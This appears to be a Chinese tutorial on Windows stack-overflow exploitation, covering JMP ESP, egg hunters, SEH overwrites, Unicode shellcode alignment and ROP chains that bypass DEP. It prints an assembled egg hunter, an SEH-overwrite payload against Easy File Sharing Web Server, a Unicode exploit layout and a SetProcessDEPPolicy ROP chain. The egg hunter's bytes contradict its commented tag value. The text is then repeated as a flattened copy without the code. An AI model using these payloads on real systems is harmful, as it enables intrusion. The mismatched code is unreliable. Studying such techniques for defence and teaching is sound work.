从Linux到Windows栈溢出利用
字数 1418 2025-08-24 23:51:13

Windows栈溢出利用技术详解

1. 经典JMP ESP利用技术

JMP ESP是一种经典的栈溢出利用方式,适用于XP及之前的系统:

  • 在XP及之前系统中,许多固定地址包含JMP ESP指令
  • 这些系统通常没有DEP保护
  • 除了系统DLL中的JMP ESP,程序自身代码中也可能存在
  • 类似思路:JMP reg(只要该寄存器可控)

2. Short JMP技术

当shellcode执行部分中断时,可使用Short JMP技术:

  • 通过"滑梯式"跳转完成利用
  • 替代方案:使用NOP填充配合第一种技术

3. Egg Hunter技术

当缓冲区空间不足时,使用Egg Hunter技术:

Linux实现

  • 依赖system call处理非法访问
  • 常用系统调用:
    • access(0x21):每次检查4字节
    • sigaction(0x43):每次检查16字节

Windows实现

两种主要思路:

  1. 实现SEH处理非法访问
  2. 使用系统调用(NtDisplayString、IsBadReadPtr)

NtDisplayString示例代码

6681 CAFF0F or dx, 0x0fff  ; 遍历内存页面
42         inc edx         ; 遍历每个地址
52         push edx        ; 入栈
6A43       push byte +0x43 ; NtDisplayString系统调用ID
58         pop eax         ; 参数
CD2E       int 0x2e        ; 调用NtDisplayString
3C05       cmp al, 0x5     ; 比较
5A         pop edx         ; 出栈
74EF       jz 0x0          ; 访问冲突则返回
B874303077 mov eax, 0x7a757368 ; 标签(zush)
8BFA       mov edi, edx    ; EDI设置为当前指针
AF         scasd           ; 比较EAX与DWORD
75EA       jnz 0x5         ; 不匹配则继续
AF         scasd           ; 第二次比较
75E7       jnz 0x5         ; 不匹配则继续
FFE7       jmp edi         ; 跳转到shellcode

注意

  • Egg Hunter需要两个相同的egg标记
  • 最终执行的shellcode可能在内存其他位置

4. SEH Handler覆盖技术

利用Windows SEH机制进行栈溢出:

利用原理

  1. 覆盖SEH链结构(两个指针)
    • 第一个指针:指向下一个SEH结构(覆盖为shellcode地址)
    • 第二个指针:指向处理函数(覆盖为"pop pop ret"地址)
  2. 触发异常
  3. 执行"pop pop ret",跳转到shellcode

内存布局

junk + nseh + seh + nops + shellcode
  • nseh:shellcode地址或跳转指令
  • seh:"pop pop ret"地址

5. Windows安全防护机制

主要防护措施

  1. XOR清零:进入SEH前清零寄存器
  2. SafeSEH
    • 检查异常处理链是否在程序栈中
    • 检查处理函数指针是否指向程序栈
    • 调用RtlIsValidHandler()验证有效性
  3. SEHOP
    • 系统级验证SEH链表完整性
    • 检查最后一个SEH结构的特殊处理函数指针

6. 实践案例分析

案例1:Easy File Sharing Web Server栈溢出

利用步骤

  1. 确定偏移量
  2. 搜索"pop pop ret"指令
  3. 构造payload:
pad = "/.:/"  # 必要前缀
pad += "a" * 53  # 填充
nseh = "\xeb\x14\x90\x90"  # jmp 0x14
seh = "\x58\x88\x01\x10"  # pop pop ret地址
nops = "\x90" * 20  # NOP sled
shellcode = "\x31\xC9..."  # 实际shellcode
exploit = pad + nseh + seh + nops + shellcode

案例2:Unicode程序漏洞利用

特殊挑战

  • shellcode不能包含\x00截断字符
  • Unicode编码会在每个字节前加\x00

解决方案

  1. 使用2字节覆盖nseh和seh
  2. 选择无害指令作为"Venetian NOP":
    • 0x004100 → INC ECX + ADD [ECX],AL
    • 推荐使用:0x006E00, 0x006F00等

示例payload

padding = "a" * 536
nseh = "\x41\x71"  # 无害指令
seh = "\x41\x4d"   # pop pop ret地址
exploit = padding + nseh + seh + "a" * 4464

Shellcode对齐技术

  1. 调整寄存器指向shellcode
  2. 使用alpha2编译器生成Unicode兼容shellcode
  3. 示例对齐代码:
align = (
    '\x55\x71\x58\x71'  # Venetian Padding
    '\x05\x20\x11'      # add eax,0x11002000
    '\x71'              # Venetian Padding
    '\x2d\x17\x11'      # sub eax,0x11001700
    '\x71'              # Venetian Padding
    '\x50'              # push EAX
    '\x71'              # Venetian Padding
    '\xC3'              # ret
)

案例3:ROP绕过DEP

技术要点

  1. 使用ROP chain调用API关闭DEP
  2. 可用API:
    • SetProcessDEPPolicy
    • VirtualProtect
    • NtSetInformationProcess
  3. 内存布局关键:
    • 保持代码执行后ESP指向shellcode
    • 使用"pop r32 retn"和"pushad retn"组合

示例ROP chain

rop_gadgets = [
    0x7c801d5d,  # RETN
    0x90909090,  # nops
    0x7c863e63,  # POP EBP # RETN [kernel32.dll]
    0x7c862144,  # SetProcessDEPPolicy() [kernel32.dll]
    0x7c80dfdd,  # POP EBX # RETN [kernel32.dll]
    0x00000000,  # dwFlag
    0x7c810afe,  # POP EDI # RETN [kernel32.dll]
    0x7c810afe,  # skip 4 bytes [kernel32.dll]
    0x77d23ad9,  # PUSHAD # RETN [User32.dll]
]

注意:如果存在\x00限制,可通过指令运算绕过。

Windows栈溢出利用技术详解 1. 经典JMP ESP利用技术 JMP ESP是一种经典的栈溢出利用方式,适用于XP及之前的系统: 在XP及之前系统中,许多固定地址包含JMP ESP指令 这些系统通常没有DEP保护 除了系统DLL中的JMP ESP,程序自身代码中也可能存在 类似思路:JMP reg(只要该寄存器可控) 2. Short JMP技术 当shellcode执行部分中断时,可使用Short JMP技术: 通过"滑梯式"跳转完成利用 替代方案:使用NOP填充配合第一种技术 3. Egg Hunter技术 当缓冲区空间不足时,使用Egg Hunter技术: Linux实现 依赖system call处理非法访问 常用系统调用: access(0x21):每次检查4字节 sigaction(0x43):每次检查16字节 Windows实现 两种主要思路: 实现SEH处理非法访问 使用系统调用(NtDisplayString、IsBadReadPtr) NtDisplayString示例代码 注意 : Egg Hunter需要两个相同的egg标记 最终执行的shellcode可能在内存其他位置 4. SEH Handler覆盖技术 利用Windows SEH机制进行栈溢出: 利用原理 覆盖SEH链结构(两个指针) 第一个指针:指向下一个SEH结构(覆盖为shellcode地址) 第二个指针:指向处理函数(覆盖为"pop pop ret"地址) 触发异常 执行"pop pop ret",跳转到shellcode 内存布局 nseh:shellcode地址或跳转指令 seh:"pop pop ret"地址 5. Windows安全防护机制 主要防护措施 XOR清零 :进入SEH前清零寄存器 SafeSEH : 检查异常处理链是否在程序栈中 检查处理函数指针是否指向程序栈 调用RtlIsValidHandler()验证有效性 SEHOP : 系统级验证SEH链表完整性 检查最后一个SEH结构的特殊处理函数指针 6. 实践案例分析 案例1:Easy File Sharing Web Server栈溢出 利用步骤 确定偏移量 搜索"pop pop ret"指令 构造payload: 案例2:Unicode程序漏洞利用 特殊挑战 shellcode不能包含\x00截断字符 Unicode编码会在每个字节前加\x00 解决方案 使用2字节覆盖nseh和seh 选择无害指令作为"Venetian NOP": 0x004100 → INC ECX + ADD [ ECX ],AL 推荐使用:0x006E00, 0x006F00等 示例payload Shellcode对齐技术 调整寄存器指向shellcode 使用alpha2编译器生成Unicode兼容shellcode 示例对齐代码: 案例3:ROP绕过DEP 技术要点 使用ROP chain调用API关闭DEP 可用API: SetProcessDEPPolicy VirtualProtect NtSetInformationProcess 内存布局关键: 保持代码执行后ESP指向shellcode 使用"pop r32 retn"和"pushad retn"组合 示例ROP chain 注意 :如果存在\x00限制,可通过指令运算绕过。